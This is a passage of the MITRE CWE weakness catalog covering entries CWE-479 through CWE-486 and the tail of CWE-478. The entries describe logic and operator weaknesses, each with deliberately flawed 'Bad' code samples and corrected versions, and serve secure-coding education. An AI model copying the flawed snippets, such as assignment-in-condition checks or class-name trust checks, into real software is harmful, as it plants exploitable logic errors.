#### Example 5:

The Finite State Machine (FSM) shown in the "bad" code snippet below assigns the output ("out") based on the value of state, which is determined based on the user provided input ("user\_input").

*Example Language: Verilog*

*(Bad)*

```
module fsm_1(out, user_input, clk, rst_n);
input [2:0] user_input;
input clk, rst_n;
output reg [2:0] out;
reg [1:0] state;
always @ (posedge clk or negedge rst_n )
begin
  if (!rst_n)
    state = 3'h0;
  else
    case (user_input)
      3'h0:
      3'h1:
```

```

3'h2:
3'h3: state = 2'h3;
3'h4: state = 2'h2;
3'h5: state = 2'h1;
endcase
end
out <= {1'h1, state};
endmodule

```

The case statement does not include a default to handle the scenario when the user provides inputs of 3'h6 and 3'h7. Those inputs push the system to an undefined state and might cause a crash (denial of service) or any other unanticipated outcome.

Adding a default statement to handle undefined inputs mitigates this issue. This is shown in the "Good" code snippet below. The default statement is in bold.

Example Language: Verilog

(Good)

```

case (user_input)
3'h0:
3'h1:
3'h2:
3'h3: state = 2'h3;
3'h4: state = 2'h2;
3'h5: state = 2'h1;
default: state = 2'h0;
endcase

```

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	884	CWE Cross-section	884	2327
MemberOf	C	962	SFP Secondary Cluster: Unchecked Status Condition	888	2193
MemberOf	C	1307	CISQ Quality Measures - Maintainability	1305	2277

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Failure to account for default case in switch
Software Fault Patterns	SFP4		Unchecked Status Condition

## References

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf> >.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

## CWE-479: Signal Handler Use of a Non-reentrant Function

**Weakness ID** : 479

**Structure** : Simple

**Abstraction** : Variant

### Description

The product defines a signal handler that calls a non-reentrant function.

### Extended Description

Non-reentrant functions are functions that cannot safely be called, interrupted, and then recalled before the first call has finished without resulting in memory corruption. This can lead to an unexpected system state and unpredictable results with a variety of potential consequences depending on context, including denial of service and code execution.

Many functions are not reentrant, but some of them can result in the corruption of memory if they are used in a signal handler. The function call `syslog()` is an example of this. In order to perform its functionality, it allocates a small amount of memory as "scratch space." If `syslog()` is suspended by a signal call and the signal handler calls `syslog()`, the memory used by both of these functions enters an undefined, and possibly, exploitable state. Implementations of `malloc()` and `free()` manage metadata in global structures in order to track which memory is allocated versus which memory is available, but they are non-reentrant. Simultaneous calls to these functions can cause corruption of the metadata.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	B	663	Use of a Non-reentrant Function in a Concurrent Context	1365
ChildOf	B	828	Signal Handler with Functionality that is not Asynchronous-Safe	1617
CanPrecede	B	123	Write-what-where Condition	310

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf	C	429	Handler Errors	2119

### Applicable Platforms

**Language** : C (Prevalence = Undetermined)

**Language** : C++ (Prevalence = Undetermined)

### Likelihood Of Exploit

Low

### Common Consequences

Scope	Impact	Likelihood
Integrity Confidentiality Availability	Execute Unauthorized Code or Commands <i>It may be possible to execute arbitrary code through the use of a write-what-where condition.</i>	
Integrity	Modify Memory Modify Application Data <i>Signal race conditions often result in data corruption.</i>	

### Potential Mitigations

**Phase:** Requirements

Require languages or libraries that provide reentrant functionality, or otherwise make it easier to avoid this weakness.

### Phase: Architecture and Design

Design signal handlers to only set flags rather than perform complex functionality.

### Phase: Implementation

Ensure that non-reentrant functions are not found in signal handlers.

### Phase: Implementation

Use sanity checks to reduce the timing window for exploitation of race conditions. This is only a partial solution, since many attacks might fail, but other attacks still might work within the narrower window, even accidentally.

*Effectiveness = Defense in Depth*

## Demonstrative Examples

### Example 1:

In this example, a signal handler uses syslog() to log a message:

*Example Language:*

*(Bad)*

```
char *message;
void sh(int dummy) {
    syslog(LOG_NOTICE, "%s\n", message);
    sleep(10);
    exit(0);
}
int main(int argc, char* argv[]) {
    ...
    signal(SIGHUP, sh);
    signal(SIGTERM, sh);
    sleep(10);
    exit(0);
}
```

If the execution of the first call to the signal handler is suspended after invoking syslog(), and the signal handler is called a second time, the memory allocated by syslog() enters an undefined, and possibly, exploitable state.

## Observed Examples

Reference	Description
<b>CVE-2005-0893</b>	signal handler calls function that ultimately uses malloc() <a href="https://www.cve.org/CVERecord?id=CVE-2005-0893">https://www.cve.org/CVERecord?id=CVE-2005-0893</a>
<b>CVE-2004-2259</b>	SIGCHLD signal to FTP server can cause crash under heavy load while executing non-reentrant functions like malloc/free. <a href="https://www.cve.org/CVERecord?id=CVE-2004-2259">https://www.cve.org/CVERecord?id=CVE-2004-2259</a>

## Affected Resources

- System Process

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	<b>C</b>	745	CERT C Secure Coding Standard (2008) Chapter 12 - Signals (SIG)	734	2142
MemberOf	<b>C</b>	847	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 4 - Expressions (EXP)	844	2156

Nature	Type	ID	Name	V	Page
MemberOf		879	CERT C++ Secure Coding Section 11 - Signals (SIG)	868	2172
MemberOf		1001	SFP Secondary Cluster: Use of an Improper API	888	2213
MemberOf		1166	SEI CERT C Coding Standard - Guidelines 11. Signals (SIG)	1154	2254

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Unsafe function call from a signal handler
CERT C Secure Coding	SIG30-C	Exact	Call only asynchronous-safe functions within signal handlers
CERT C Secure Coding	SIG34-C		Do not call signal() from within interruptible signal handlers
The CERT Oracle Secure Coding Standard for Java (2011)	EXP01-J		Never dereference null pointers
Software Fault Patterns	SFP3		Use of an improper API

### References

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf> >.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

## CWE-480: Use of Incorrect Operator

**Weakness ID** : 480  
**Structure** : Simple  
**Abstraction** : Base

### Description

The product accidentally uses the wrong operator, which changes the logic in security-relevant ways.

### Extended Description

These types of errors are generally the result of a typo by the programmer.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		670	Always-Incorrect Control Flow Implementation	1384
ParentOf		481	Assigning instead of Comparing	1090
ParentOf		482	Comparing instead of Assigning	1093
ParentOf		597	Use of Wrong Operator in String Comparison	1258

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		438	Behavioral Problems	2120

Nature	Type	ID	Name	Page
MemberOf	C	569	Expression Issues	2123

### Applicable Platforms

- Language** : C (Prevalence = Sometimes)
- Language** : C++ (Prevalence = Sometimes)
- Language** : Perl (Prevalence = Sometimes)
- Language** : Not Language-Specific (Prevalence = Undetermined)

### Likelihood Of Exploit

Low

### Common Consequences

Scope	Impact	Likelihood
Other	Alter Execution Logic <i>This weakness can cause unintended logic to be executed and other unexpected application behavior.</i>	

### Detection Methods

#### Automated Static Analysis

This weakness can be found easily using static analysis. However in some cases an operator might appear to be incorrect, but is actually correct and reflects unusual logic within the program.

#### Manual Static Analysis

This weakness can be found easily using static analysis. However in some cases an operator might appear to be incorrect, but is actually correct and reflects unusual logic within the program.

### Demonstrative Examples

#### Example 1:

The following C/C++ and C# examples attempt to validate an int input parameter against the integer value 100.

Example Language: C

(Bad)

```
int isValid(int value) {
    if (value=100) {
        printf("Value is valid\n");
        return(1);
    }
    printf("Value is not valid\n");
    return(0);
}
```

Example Language: C#

(Bad)

```
bool isValid(int value) {
    if (value=100) {
        Console.WriteLine("Value is valid.");
        return true;
    }
    Console.WriteLine("Value is not valid.");
    return false;
}
```

However, the expression to be evaluated in the if statement uses the assignment operator "=" rather than the comparison operator "==". The result of using the assignment operator instead of the comparison operator causes the int variable to be reassigned locally and the expression in

the if statement will always evaluate to the value on the right hand side of the expression. This will result in the input value not being properly validated, which can cause unexpected results.

### Example 2:

The following C/C++ example shows a simple implementation of a stack that includes methods for adding and removing integer values from the stack. The example uses pointers to add and remove integer values to the stack array variable.

Example Language: C

(Bad)

```
#define SIZE 50
int *tos, *p1, stack[SIZE];
void push(int i) {
    p1++;
    if(p1==(tos+SIZE)) {
        // Print stack overflow error message and exit
    }
    *p1 == i;
}
int pop(void) {
    if(p1==tos) {
        // Print stack underflow error message and exit
    }
    p1--;
    return *(p1+1);
}
int main(int argc, char *argv[]) {
    // initialize tos and p1 to point to the top of stack
    tos = stack;
    p1 = stack;
    // code to add and remove items from stack
    ...
    return 0;
}
```

The push method includes an expression to assign the integer value to the location in the stack pointed to by the pointer variable.

However, this expression uses the comparison operator "==" rather than the assignment operator "=". The result of using the comparison operator instead of the assignment operator causes erroneous values to be entered into the stack and can cause unexpected results.

### Observed Examples

Reference	Description
<b>CVE-2021-3116</b>	Chain: Python-based HTTP Proxy server uses the wrong boolean operators (CWE-480) causing an incorrect comparison (CWE-697) that identifies an authN failure if all three conditions are met instead of only one, allowing bypass of the proxy authentication (CWE-1390) <a href="https://www.cve.org/CVERecord?id=CVE-2021-3116">https://www.cve.org/CVERecord?id=CVE-2021-3116</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		747	CERT C Secure Coding Standard (2008) Chapter 14 - Miscellaneous (MSC)	734	2144
MemberOf		871	CERT C++ Secure Coding Section 03 - Expressions (EXP)	868	2167



Nature	Type	ID	Name	V	Page
MemberOf	C	883	CERT C++ Secure Coding Section 49 - Miscellaneous (MSC)	868	2174
MemberOf	V	884	CWE Cross-section	884	2327
MemberOf	C	998	SFP Secondary Cluster: Glitch in Computation	888	2212
MemberOf	C	1157	SEI CERT C Coding Standard - Guidelines 03. Expressions (EXP)	1154	2248
MemberOf	C	1306	CISQ Quality Measures - Reliability	1305	2276
MemberOf	C	1307	CISQ Quality Measures - Maintainability	1305	2277
MemberOf	C	1308	CISQ Quality Measures - Security	1305	2278

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Using the wrong operator
CERT C Secure Coding	EXP45-C	CWE More Abstract	Do not perform assignments in selection statements
CERT C Secure Coding	EXP46-C	CWE More Abstract	Do not use a bitwise operator with a Boolean-like operand
Software Fault Patterns	SFP1		Glitch in Computation

### References

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf> >.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

## CWE-481: Assigning instead of Comparing

**Weakness ID** : 481

**Structure** : Simple

**Abstraction** : Variant

### Description

The code uses an operator for assignment when the intention was to perform a comparison.

### Extended Description

In many languages the compare statement is very close in appearance to the assignment statement and are often confused. This bug is generally the result of a typo and usually causes obvious problems with program execution. If the comparison is in an if statement, the if statement will usually evaluate the value of the right-hand side of the predicate.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	B	480	Use of Incorrect Operator	1087
CanPrecede	P	697	Incorrect Comparison	1428

### Applicable Platforms

**Language** : C (Prevalence = Undetermined)

**Language** : C++ (Prevalence = Undetermined)

**Language** : Java (Prevalence = Undetermined)

**Language** : C# (Prevalence = Undetermined)

### Likelihood Of Exploit

Low

### Common Consequences

Scope	Impact	Likelihood
Other	Alter Execution Logic	

### Potential Mitigations

#### Phase: Testing

Many IDEs and static analysis products will detect this problem.

#### Phase: Implementation

Place constants on the left. If one attempts to assign a constant with a variable, the compiler will produce an error.

### Demonstrative Examples

#### Example 1:

The following C/C++ and C# examples attempt to validate an int input parameter against the integer value 100.

*Example Language: C*

(Bad)

```
int isValid(int value) {
    if (value=100) {
        printf("Value is valid\n");
        return(1);
    }
    printf("Value is not valid\n");
    return(0);
}
```

*Example Language: C#*

(Bad)

```
bool isValid(int value) {
    if (value=100) {
        Console.WriteLine("Value is valid.");
        return true;
    }
    Console.WriteLine("Value is not valid.");
    return false;
}
```

However, the expression to be evaluated in the if statement uses the assignment operator "=" rather than the comparison operator "==". The result of using the assignment operator instead of the comparison operator causes the int variable to be reassigned locally and the expression in the if statement will always evaluate to the value on the right hand side of the expression. This will result in the input value not being properly validated, which can cause unexpected results.

#### Example 2:

In this example, we show how assigning instead of comparing can impact code when values are being passed by reference instead of by value. Consider a scenario in which a string is being processed from user input. Assume the string has already been formatted such that different user inputs are concatenated with the colon character. When the processString function is called, the test for the colon character will result in an insertion of the colon character instead, adding new

input separators. Since the string was passed by reference, the data sentinels will be inserted in the original string (CWE-464), and further processing of the inputs will be altered, possibly malformed..

*Example Language: C*

*(Bad)*

```
void processString (char *str) {
    int i;
    for(i=0; i<strlen(str); i++) {
        if (isalnum(str[i])){
            processChar(str[i]);
        }
        else if (str[i] = ':') {
            movingToNewInput();
        }
    }
}
```

### Example 3:

The following Java example attempts to perform some processing based on the boolean value of the input parameter. However, the expression to be evaluated in the if statement uses the assignment operator "=" rather than the comparison operator "==". As with the previous examples, the variable will be reassigned locally and the expression in the if statement will evaluate to true and unintended processing may occur.

*Example Language: Java*

*(Bad)*

```
public void checkValid(boolean isValid) {
    if (isValid = true) {
        System.out.println("Performing processing");
        doSomethingImportant();
    }
    else {
        System.out.println("Not Valid, do not perform processing");
        return;
    }
}
```

While most Java compilers will catch the use of an assignment operator when a comparison operator is required, for boolean variables in Java the use of the assignment operator within an expression is allowed. If possible, try to avoid using comparison operators on boolean variables in java. Instead, let the values of the variables stand for themselves, as in the following code.

*Example Language: Java*

*(Good)*

```
public void checkValid(boolean isValid) {
    if (isValid) {
        System.out.println("Performing processing");
        doSomethingImportant();
    }
    else {
        System.out.println("Not Valid, do not perform processing");
        return;
    }
}
```

Alternatively, to test for false, just use the boolean NOT operator.

*Example Language: Java*

*(Good)*

```
public void checkValid(boolean isValid) {
    if (!isValid) {
        System.out.println("Not Valid, do not perform processing");
    }
}
```

```

return;
}
System.out.println("Performing processing");
doSomethingImportant();
}
    
```

**Example 4:**

The following example demonstrates the weakness.

Example Language: C

(Bad)

```

void called(int foo){
    if (foo=1) printf("foo\n");
}
int main() {
    called(2);
    return 0;
}
    
```

**MemberOf Relationships**

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	998	SFP Secondary Cluster: Glitch in Computation	888	2212
MemberOf	C	1157	SEI CERT C Coding Standard - Guidelines 03. Expressions (EXP)	1154	2248

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Assigning instead of comparing
Software Fault Patterns	SFP1		Glitch in computation
CERT C Secure Coding	EXP45-C	CWE More Abstract	Do not perform assignments in selection statements

**References**

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf> >.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

**CWE-482: Comparing instead of Assigning**

**Weakness ID** : 482  
**Structure** : Simple  
**Abstraction** : Variant

**Description**

The code uses an operator for comparison when the intention was to perform an assignment.

**Extended Description**

In many languages, the compare statement is very close in appearance to the assignment statement; they are often confused.

**Relationships**

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	⊖	480	Use of Incorrect Operator	1087

### Applicable Platforms

**Language :** C (Prevalence = Undetermined)

**Language :** C++ (Prevalence = Undetermined)

### Likelihood Of Exploit

Low

### Common Consequences

Scope	Impact	Likelihood
Availability	Unexpected State	
Integrity	<i>The assignment will not take place, which should cause obvious program execution problems.</i>	

### Potential Mitigations

#### Phase: Testing

Many IDEs and static analysis products will detect this problem.

### Demonstrative Examples

#### Example 1:

The following example demonstrates the weakness.

*Example Language: Java*

*(Bad)*

```
void called(int foo) {
    foo==1;
    if (foo==1) System.out.println("foo\n");
}
int main() {
    called(2);
    return 0;
}
```

#### Example 2:

The following C/C++ example shows a simple implementation of a stack that includes methods for adding and removing integer values from the stack. The example uses pointers to add and remove integer values to the stack array variable.

*Example Language: C*

*(Bad)*

```
#define SIZE 50
int *tos, *p1, stack[SIZE];
void push(int i) {
    p1++;
    if(p1==(tos+SIZE)) {
        // Print stack overflow error message and exit
    }
    *p1 == i;
}
int pop(void) {
```

```

if(p1==tos) {
    // Print stack underflow error message and exit
}
p1--;
return *(p1+1);
}
int main(int argc, char *argv[]) {
    // initialize tos and p1 to point to the top of stack
    tos = stack;
    p1 = stack;
    // code to add and remove items from stack
    ...
    return 0;
}

```

The push method includes an expression to assign the integer value to the location in the stack pointed to by the pointer variable.

However, this expression uses the comparison operator "==" rather than the assignment operator "=". The result of using the comparison operator instead of the assignment operator causes erroneous values to be entered into the stack and can cause unexpected results.

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	View	Page
MemberOf	<b>C</b>	747	CERT C Secure Coding Standard (2008) Chapter 14 - Miscellaneous (MSC)	734	2144
MemberOf	<b>C</b>	883	CERT C++ Secure Coding Section 49 - Miscellaneous (MSC)	868	2174
MemberOf	<b>C</b>	886	SFP Primary Cluster: Unused entities	888	2175

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Comparing instead of assigning
Software Fault Patterns	SFP2		Unused Entities

### References

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf> >.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

## CWE-483: Incorrect Block Delimitation

**Weakness ID** : 483

**Structure** : Simple

**Abstraction** : Base

### Description

The code does not explicitly delimit a block that is intended to contain 2 or more statements, creating a logic error.

### Extended Description

In some languages, braces (or other delimiters) are optional for blocks. When the delimiter is omitted, it is possible to insert a logic error in which a statement is thought to be in a block but is not. In some cases, the logic error can have security implications.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		670	Always-Incorrect Control Flow Implementation	1384

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		438	Behavioral Problems	2120

## Weakness Ordinalities

**Primary :**

**Indirect :**

## Applicable Platforms

**Language :** C (Prevalence = Sometimes)

**Language :** C++ (Prevalence = Sometimes)

## Likelihood Of Exploit

Low

## Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Availability	Alter Execution Logic  <i>This is a general logic error which will often lead to obviously-incorrect behaviors that are quickly noticed and fixed. In lightly tested or untested code, this error may be introduced it into a production environment and provide additional attack vectors by creating a control flow path leading to an unexpected state in the application. The consequences will depend on the types of behaviors that are being incorrectly executed.</i>	

## Potential Mitigations

### Phase: Implementation

Always use explicit block delimitation and use static-analysis technologies to enforce this practice.

## Demonstrative Examples

### Example 1:

In this example, the programmer has indented the statements to call Do\_X() and Do\_Y(), as if the intention is that these functions are only called when the condition is true. However, because there are no braces to signify the block, Do\_Y() will always be executed, even if the condition is false.

*Example Language: C*

*(Bad)*

```
if (condition==true)
```



```
Do_X();
Do_Y();
```

This might not be what the programmer intended. When the condition is critical for security, such as in making a security decision or detecting a critical error, this may produce a vulnerability.

### Example 2:

In this example, the programmer has indented the Do\_Y() statement as if the intention is that the function should be associated with the preceding conditional and should only be called when the condition is true. However, because Do\_X() was called on the same line as the conditional and there are no braces to signify the block, Do\_Y() will always be executed, even if the condition is false.

Example Language: C

(Bad)

```
if (condition==true) Do_X();
    Do_Y();
```

This might not be what the programmer intended. When the condition is critical for security, such as in making a security decision or detecting a critical error, this may produce a vulnerability.

### Observed Examples

Reference	Description
<b>CVE-2014-1266</b>	incorrect indentation of "goto" statement makes it more difficult to detect an incorrect goto (Apple's "goto fail") <a href="https://www.cve.org/CVERecord?id=CVE-2014-1266">https://www.cve.org/CVERecord?id=CVE-2014-1266</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	<input type="checkbox"/>	Page
MemberOf	<input checked="" type="checkbox"/>	884	CWE Cross-section	<input type="checkbox"/>	884 2327
MemberOf	<input checked="" type="checkbox"/>	977	SFP Secondary Cluster: Design	<input type="checkbox"/>	888 2200

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Incorrect block delimitation

### References

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf> >.

## CWE-484: Omitted Break Statement in Switch

**Weakness ID** : 484

**Structure** : Simple

**Abstraction** : Base

### Description

The product omits a break statement within a switch or similar construct, causing code associated with multiple conditions to execute. This can cause problems when the programmer only intended to execute code associated with one condition.

### Extended Description

This can lead to critical code executing in situations where it should not.


## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		670	Always-Incorrect Control Flow Implementation	1384
ChildOf		710	Improper Adherence to Coding Standards	1444

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		438	Behavioral Problems	2120

## Weakness Ordinalities

**Primary :**

**Indirect :**

## Applicable Platforms

**Language :** C (Prevalence = Undetermined)

**Language :** C++ (Prevalence = Undetermined)

**Language :** Java (Prevalence = Undetermined)

**Language :** C# (Prevalence = Undetermined)

**Language :** PHP (Prevalence = Undetermined)

## Likelihood Of Exploit

Medium

## Common Consequences

Scope	Impact	Likelihood
Other	Alter Execution Logic	
	<i>This weakness can cause unintended logic to be executed and other unexpected application behavior.</i>	

## Detection Methods

### White Box

Omission of a break statement might be intentional, in order to support fallthrough. Automated detection methods might therefore be erroneous. Semantic understanding of expected product behavior is required to interpret whether the code is correct.

### Black Box

Since this weakness is associated with a code construct, it would be indistinguishable from other errors that produce the same behavior.

## Potential Mitigations

### Phase: Implementation

Omitting a break statement so that one may fall through is often indistinguishable from an error, and therefore should be avoided. If you need to use fall-through capabilities, make sure that you have clearly documented this within the switch statement, and ensure that you have examined all the logical possibilities.

**Phase: Implementation**

The functionality of omitting a break statement could be clarified with an if statement. This method is much safer.

**Demonstrative Examples****Example 1:**

In both of these examples, a message is printed based on the month passed into the function:

*Example Language: Java*

*(Bad)*

```
public void printMessage(int month){
    switch (month) {
        case 1: print("January");
        case 2: print("February");
        case 3: print("March");
        case 4: print("April");
        case 5: print("May");
        case 6: print("June");
        case 7: print("July");
        case 8: print("August");
        case 9: print("September");
        case 10: print("October");
        case 11: print("November");
        case 12: print("December");
    }
    println(" is a great month");
}
```

*Example Language: C*

*(Bad)*

```
void printMessage(int month){
    switch (month) {
        case 1: printf("January");
        case 2: printf("February");
        case 3: printf("March");
        case 4: printf("April");
        case 5: printf("May");
        case 6: printf("June");
        case 7: printf("July");
        case 8: printf("August");
        case 9: printf("September");
        case 10: printf("October");
        case 11: printf("November");
        case 12: printf("December");
    }
    printf(" is a great month");
}
```

Both examples do not use a break statement after each case, which leads to unintended fall-through behavior. For example, calling "printMessage(10)" will result in the text "OctoberNovemberDecember is a great month" being printed.

**MemberOf Relationships**

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	884	CWE Cross-section	884	2327
MemberOf	C	962	SFP Secondary Cluster: Unchecked Status Condition	888	2193
MemberOf	C	1306	CISQ Quality Measures - Reliability	1305	2276
MemberOf	C	1307	CISQ Quality Measures - Maintainability	1305	2277

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Omitted break statement
Software Fault Patterns	SFP4		Unchecked Status Condition

## References

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf> >.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

## CWE-486: Comparison of Classes by Name

**Weakness ID** : 486

**Structure** : Simple

**Abstraction** : Variant

### Description

The product compares classes by name, which can cause it to use the wrong class when multiple classes can have the same name.



### Extended Description

If the decision to trust the methods and data of an object is based on the name of a class, it is possible for malicious users to send objects of the same name as trusted classes and thereby gain the trust afforded to known classes and types.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		1025	Comparison Using Wrong Factors	1734
PeerOf		386	Symbolic Name not Mapping to Correct Object	892

### Applicable Platforms

**Language** : Java (*Prevalence = Undetermined*)

### Likelihood Of Exploit

High

### Common Consequences

Scope	Impact	Likelihood
Integrity Confidentiality Availability	Execute Unauthorized Code or Commands <i>If a product relies solely on the name of an object to determine identity, it may execute the incorrect or unintended code.</i>	

### Potential Mitigations

#### Phase: Implementation

Use class equivalency to determine type. Rather than use the class name to determine if an object is of a given type, use the getClass() method, and == operator.

## Demonstrative Examples

### Example 1:

In this example, the expression in the if statement compares the class of the inputClass object to a trusted class by comparing the class names.

Example Language: Java

(Bad)

```
if (inputClass.getClass().getName().equals("TrustedClassName")) {  
    // Do something assuming you trust inputClass  
    // ...  
}
```

However, multiple classes can have the same name therefore comparing an object's class by name can allow untrusted classes of the same name as the trusted class to be used to execute unintended or incorrect code. To compare the class of an object to the intended class the getClass() method and the comparison operator "==" should be used to ensure the correct trusted class is used, as shown in the following example.

Example Language: Java

(Good)

```
if (inputClass.getClass() == TrustedClass.class) {  
    // Do something assuming you trust inputClass  
    // ...  
}
```

### Example 2:

In this example, the Java class, TrustedClass, overrides the equals method of the parent class Object to determine equivalence of objects of the class. The overridden equals method first determines if the object, obj, is the same class as the TrustedClass object and then compares the object's fields to determine if the objects are equivalent.

Example Language: Java

(Bad)

```
public class TrustedClass {  
    ...  
    @Override  
    public boolean equals(Object obj) {  
        boolean isEqual = false;  
        // first check to see if the object is of the same class  
        if (obj.getClass().getName().equals(this.getClass().getName())) {  
            // then compare object fields  
            ...  
            if (...) {  
                isEqual = true;  
            }  
        }  
        return isEqual;  
    }  
    ...  
}
```

However, the equals method compares the class names of the object, obj, and the TrustedClass object to determine if they are the same class. As with the previous example using the name of the class to compare the class of objects can lead to the execution of unintended or incorrect code if the object passed to the equals method is of another class with the same name. To compare the class of an object to the intended class, the getClass() method and the comparison operator "==" should be used to ensure the correct trusted class is used, as shown in the following example.

Example Language: Java

(Good)

```
public boolean equals(Object obj) {
```

```

...
// first check to see if the object is of the same class
if (obj.getClass() == this.getClass()) {
    ...
}
...
}

```

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	View	Page
MemberOf	C	485	7PK - Encapsulation	700	2121
MemberOf	C	849	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 6 - Object Orientation (OBJ)	844	2157
MemberOf	V	884	CWE Cross-section	884	2327
MemberOf	C	998	SFP Secondary Cluster: Glitch in Computation	888	2212
MemberOf	C	1139	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 05. Object Orientation (OBJ)	1133	2239

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Comparing Classes by Name
